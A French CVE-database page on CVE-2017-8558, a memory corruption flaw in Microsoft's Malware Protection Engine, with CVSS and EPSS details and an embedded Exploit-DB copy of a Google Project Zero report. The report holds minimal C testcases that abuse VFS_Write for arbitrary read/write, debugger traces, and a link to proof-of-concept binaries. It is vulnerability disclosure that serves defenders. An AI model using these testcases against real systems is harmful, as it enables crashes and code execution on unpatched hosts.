CVE-2017-8558 : Détail

CVE-2017-8558

7.8
/
HIGH
Overflow
7.48%V3
Local
2017-06-29 11:00 +00:00
2017-08-11 13:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The Microsoft Malware Protection Engine running on Microsoft Forefront and Microsoft Defender on 32-bit versions of Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703 does not properly scan a specially crafted file leading to memory corruption. aka "Microsoft Malware Protection Engine Remote Code Execution Vulnerability".

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42264

Date de publication : 2017-06-26 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1282&desc=2 In issue 1260 I discussed Microsoft's "apicall" instruction that can invoke a large number of internal emulator apis and is exposed to remote attackers by default in all recent versions of Windows. I asked Microsoft if this was intentionally exposed, and they replied "The apicall instruction is exposed for multiple reasons", so this is intentional. This full system x86 emulator runs as SYSTEM, is unsandboxed, is enabled by default and remotely accessible to attackers. I took a quick stab at writing a fuzzer and immediately found heap corruption in the KERNEL32.DLL!VFS_Write API, I suspect this has never been fuzzed before. A minimal testcase would be something like this: int main(int argc, char **argv) { MpApiCall("NTDLL.DLL", "NtControlChannel", 0xA); // Disable apicall limit for (int i = 0; i < 16; i++) { MpApiCall("NTDLL.DLL", "VFS_Open", (uint64_t) L"filename", 0); MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", 0, 0); MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", -1, 0); } return 0; } I suspect the MutableByteStream object getting corrupted with an unchecked memcpy, I've seen multiple different stacktraces including wild eip. See attachment for MpApiCall() implementation, and pre-compiled testcase, renamed testcase.txt. Note that as soon as the testcase.txt file touches disk, it will immediately crash the MsMpEng service on Windows, which may destabilize your system. The testcases have been encrypted to prevent crashing your exchange server. This bug was found on Linux using Address Sanitizer: $ ./mpclient extra/testcase.exe main(): Scanning extra/testcase.exe... EngineScanCallback(): Scanning input *** Error in `./mpclient': free(): invalid pointer: 0x0a5b4e50 *** Aborted (core dumped) Then verified on Windows in MsMpEng.exe: Critical error detected c0000374 Break instruction exception - code 80000003 (first chance) ntdll!RtlReportCriticalFailure+0x29: 001b:76fc3b6d cc int 3 2: kd> kv ChildEBP RetAddr Args to Child 0192e638 76fc4acd c0000374 76fdedd8 0192e67c ntdll!RtlReportCriticalFailure+0x29 (FPO: [Non-Fpo]) 0192e648 76fc4bad 00000002 777482b4 11109bb0 ntdll!RtlpReportHeapFailure+0x21 (FPO: [Non-Fpo]) 0192e67c 76f8a1dc 0000000c 00370000 11109bb0 ntdll!RtlpLogHeapFailure+0xa1 (FPO: [Non-Fpo]) 0192e76c 76f55950 0000cc5c 0000cc68 003700c4 ntdll!RtlpAllocateHeap+0x7b2 (FPO: [Non-Fpo]) *** ERROR: Symbol file could not be found. Defaulted to export symbols for mpengine.dll - 0192e7f0 66ac184e 00370000 00000008 0000cc5c ntdll!RtlAllocateHeap+0x23a (FPO: [Non-Fpo]) WARNING: Stack unwind information not available. Following frames may be wrong. 0192e808 668b60ef 0000cc5c 00000001 0cb26e40 mpengine!FreeSigFiles+0x1cb14e 0192e858 6682c1a7 94741586 0cb26e40 11069948 mpengine!_rsignal+0x3479f 0192e880 668266f5 947414e2 00000000 0192eb34 mpengine+0x20c1a7 0192e9e4 668251ce 0192eb34 0cb26e40 00001000 mpengine+0x2066f5 0192ea38 66822fd1 0cb26e40 109ee478 00001000 mpengine+0x2051ce 0192eab0 66823127 0192eae0 0192eb34 00000000 mpengine+0x202fd1 0192eba8 66822d18 0192ec00 0192ec54 00000000 mpengine+0x203127 0192ec70 66823533 0192ec98 110c02e0 947411c2 mpengine+0x202d18 0192ecc4 668244b5 110c02e0 947411fa 106bde30 mpengine+0x203533 0192ecfc 66824593 110c02e0 94741382 00000000 mpengine+0x2044b5 0192ee84 6682085f 0192f7dc 00000000 003e7cd8 mpengine+0x204593 0192ee9c 6682088b 0192eeb8 66823dd2 0192f7dc mpengine+0x20085f 0192eea4 66823dd2 0192f7dc 0192f7dc 947413be mpengine+0x20088b 0192eeb8 66820829 0192f7dc 003e7cd8 66820790 mpengine+0x203dd2 0192eed8 66823d4a 0192f7dc 00000000 9474121a mpengine+0x200829 0192ef1c 6682d2a0 0192f7dc 0000800c 0192f7dc mpengine+0x203d4a 0192ef30 668820be 947409ce 66881ba0 00370bf8 mpengine+0x20d2a0 0192f4c8 66881b5f 00004039 0192f7dc 00000030 mpengine!_rsignal+0x76e 0192f4f0 66881a1e 0192f7dc 00000030 94740bfe mpengine!_rsignal+0x20f 0192f6f8 66881987 0192f7dc 00000030 0192f758 mpengine!_rsignal+0xce 0192f708 71436eff 003d5c60 00004039 0192f7dc mpengine!_rsignal+0x37 0192f758 7061480b 003d5bf8 00004039 0192f7dc mpsvc!rsignal_wrapper+0xef (FPO: [Non-Fpo]) 0192f784 706478b4 0192f7dc 0192f828 00000000 mprtp!RealtimeProtection::CCMEngine::NotifyChange+0x7e (FPO: [1,2,0]) 0192f7a0 70647b53 9479983c 00000004 70647900 mprtp!RealtimeProtection::MpNotifyChangeEx+0x9a (FPO: [Non-Fpo]) 0192f870 70646b0a 01dfa2a8 01dda8b8 01dfa2a8 mprtp!RealtimeProtection::MpOpenProcessNotificationWorker+0x253 (FPO: [Non-Fpo]) 0192f888 70649aec 70649ab0 01dda8b0 0192f8ac mprtp!RealtimeProtection::AsyncNotificationWorker+0x86 (FPO: [Non-Fpo]) 0192f898 70617e47 005209e8 70617dd0 947998e0 mprtp!RealtimeProtection::CAsyncNotificationWorkItem::ExecuteJob+0x3c (FPO: [0,1,4]) 0192f8ac 73f3389a 01dda8b8 947c55e2 76f7268c mprtp!CommonUtil::CMpThreadPoolItemBase::DoAction+0x77 (FPO: [Non-Fpo]) 0192f8e8 76f126d5 0192f948 0051c2b8 003a0c00 mpclient!CommonUtil::CMpThreadPoolProviderVista::WorkCallback+0xca (FPO: [Non-Fpo]) 0192f90c 76f30774 0192f948 003a0c60 77749e94 ntdll!TppWorkpExecuteCallback+0x10f (FPO: [Non-Fpo]) 0192fa5c 75f1ef8c 003a4e58 0192faa8 76f6367a ntdll!TppWorkerThread+0x562 (FPO: [Non-Fpo]) 0192fa68 76f6367a 003a4e58 77749e60 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) 0192faa8 76f6364d 76f302cb 003a4e58 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo]) 0192fac0 00000000 76f302cb 003a4e58 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo]) 2: kd> lmv m mpengine start end module name 66620000 67015000 mpengine (export symbols) mpengine.dll Loaded symbol image file: mpengine.dll Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{CCD47945-D7B4-402F-99F0-622F76161ECD}\mpengine.dll Image name: mpengine.dll Timestamp: Tue May 23 10:52:27 2017 (592476DB) CheckSum: 00A1867D ImageSize: 009F5000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 ################################################################################ I had some time to minimize the bug, a minimal testcase would be this: MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0, 0xffffffff, 0); MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0x7ff, 0x41414141, 0); The first call extends the length of the file to nOffset, but because the numberOfBytes parameter is 0 no space is allocated. Then you can read and write arbitrary data to an arbitrary offset to the MutableByteStream object buffer. This is a very powerful exploit primitive, and exploitation does not seem difficult. ################################################################################ Here is a better testcase that crashes in a memcpy to a bad destination offset. (gdb) r Starting program: mpclient testcase.exe main(): Scanning testcase.exe... EngineScanCallback(): Scanning input Program received signal SIGSEGV, Segmentation fault. 0xf6e98c08 in ?? () (gdb) x/i $pc => 0xf6e98c08: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi] (gdb) p/x $edi $1 = 0xc7028a20 (gdb) p/x $esi $2 = 0x843e228 (gdb) x/10xb $esi 0x843e228: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x843e230: 0x00 0x00 (gdb) x/10xb $edi 0xc7028a20: Cannot access memory at address 0xc7028a20 (gdb) r ################################################################################ stacktrace on windows: 2: kd> r eax=c7c13828 ebx=1ca71d90 ecx=00000400 edx=00001000 esi=1ca71d90 edi=db6625b8 eip=669c44e0 esp=0242c210 ebp=0242c234 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mpengine!memcpy+0x250: 001b:669c44e0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 2: kd> dd edi db6625b8 ???????? ???????? ???????? ???????? db6625c8 ???????? ???????? ???????? ???????? db6625d8 ???????? ???????? ???????? ???????? db6625e8 ???????? ???????? ???????? ???????? db6625f8 ???????? ???????? ???????? ???????? db662608 ???????? ???????? ???????? ???????? db662618 ???????? ???????? ???????? ???????? db662628 ???????? ???????? ???????? ???????? 2: kd> kv ChildEBP RetAddr Args to Child 0242c214 66a84a47 db6625b8 1ca71d90 00001000 mpengine!memcpy+0x250 (FPO: [3,0,2]) 0242c234 66d73203 1ca71d90 00001000 00001000 mpengine!std::list<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> >,std::allocator<std::pair<wchar_t const * const,CommonUtil::AutoRefWrapper<AttributeValueStore> > > >::erase+0x72 (FPO: [Non-Fpo]) 0242c258 66d732b9 1ca76db8 00001000 41414000 mpengine!Modification::read+0x79 (FPO: [Non-Fpo]) 0242c2a0 66d736db 1ca76db8 00001000 41414000 mpengine!MutableStore::MutableByteStream::read+0xa3 (FPO: [Non-Fpo]) 0242c2dc 66d737db 02f923e4 000007ff 41414141 mpengine!MutableStore::MutableByteStream::write+0xa0 (FPO: [Non-Fpo]) 0242c320 66d6dfbb 00000544 02f923e4 000007ff mpengine!MutableStore::writeStrm+0xab (FPO: [Non-Fpo]) 0242c35c 66d6b463 00000596 02f923e4 000007ff mpengine!VirtualFS::write+0x79 (FPO: [4,5,4]) 0242c3a0 66c1eea8 02f923e4 000007ff 41414141 mpengine!VFS_Write+0x34 (FPO: [Non-Fpo]) 0242c410 66b71e01 02ed0020 02f20610 fdeee3e7 mpengine!NTDLL_DLL_VFS_Write+0x78 (FPO: [Non-Fpo]) 0242c440 66d840da 02f203a8 0309877f 02f20601 mpengine!__call_api_by_crc+0x114 (FPO: [Non-Fpo]) 0242c468 030987a8 669eeca2 02f203a8 0309877f mpengine!x32_parseint+0x1ba (FPO: [Non-Fpo]) Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42264.zip

Products Mentioned

Configuraton 0

Microsoft>>Windows_defender >> Version -

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Endpoint_protection >> Version -

Microsoft>>Forefront_endpoint_protection >> Version -

Microsoft>>Forefront_endpoint_protection >> Version 2010

Microsoft>>Security_essentials >> Version -

Microsoft>>Windows_intune_endpoint_protection >> Version -

    References

    http://www.securityfocus.com/bid/99262
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/42264/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securitytracker.com/id/1038783
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.securitytracker.com/id/1038784
    Tags : vdb-entry, x_refsource_SECTRACK
    Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.